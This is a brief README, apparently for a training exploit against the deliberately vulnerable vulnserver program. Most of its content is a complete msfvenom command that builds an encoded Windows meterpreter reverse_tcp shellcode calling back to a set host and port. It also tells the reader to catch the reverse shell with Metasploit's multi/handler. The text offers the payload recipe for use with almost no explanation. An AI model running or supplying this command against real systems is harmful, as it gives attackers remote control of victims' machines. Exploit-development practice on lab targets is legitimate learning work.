This exploit gain remote meterpreter shell using vulnserver program
vulnserver program and its source code here this repo,you can investigate yourself
payload(shelcode) is generated from msfvenom using below command
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.121.0.59 LPORT=400 -e x86/shikata_ga_nai -b '\x00' -i 3 -f python > payload3.txt
you have to listen reverse tcp connection with multi\handler for catching reverse shell